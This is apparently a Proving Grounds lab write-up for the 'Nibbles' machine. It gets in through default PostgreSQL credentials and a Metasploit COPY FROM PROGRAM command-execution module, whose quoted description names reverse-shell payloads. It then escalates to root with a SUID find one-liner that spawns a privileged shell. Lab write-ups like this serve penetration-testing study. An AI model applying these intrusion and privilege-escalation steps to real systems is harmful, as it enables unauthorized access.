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Nibbles

PG Practice Nibbles writeup

Nmap

sudo nmap   192.168.51.47 -p- -sS -sV          

PORT     STATE  SERVICE      VERSION
21/tcp   open   ftp          vsftpd 3.0.3
22/tcp   open   ssh          OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open   http         Apache httpd 2.4.38 ((Debian))
139/tcp  closed netbios-ssn
445/tcp  closed microsoft-ds
5437/tcp open   postgresql   PostgreSQL DB 11.3 - 11.7
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Port 5437 is running postgresql version between 11.3 - 11.7. I was able to login with the default credentials of postgres:postgres using psql.

 psql -h 192.168.51.47 -U postgres -p 5437

As we are running on a version of postgresql higher than 9.3 we should be able to use the following exploit to gain command execution on the target machine.

Description

Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with 'pg_execute_server_program' to pipe to and from an external program using COPY. This allows arbitrary command execution as though you have console access.

This module attempts to create a new table, then execute system commands in the context of copying the command output into the table.

This module should work on all Postgres systems running version 9.3 and above.

For Linux & OSX systems, target 1 is used with cmd payloads such as: cmd/unix/reverse_perl

For Windows Systems, target 2 is used with Powershell payloads such as: cmd/windows/powershell_reverse_tcp Alternativly target 3 can be used to execute generic commands, such as a web_delivery meterpreter powershell payload or other customized command.

First ensure we are a superuser on postgresql:

SELECT current_setting('is_superuser');

As we are confirmed a superuser we can use the following Metasploit module to gain a shell.

use exploit/multi/postgres/postgres_copy_from_program_cmd_exec

Execution:

Checking for SUID and PATH we have a '.' at the end of path and SUID bit set for the find binary.

Knowing this we can attempt to gain privileges by exploiting the find binary. Checking GTFOBins shows we can escalate privileges:

Running the following will escalate privileges:

find . -exec /bin/sh -p \; -quit

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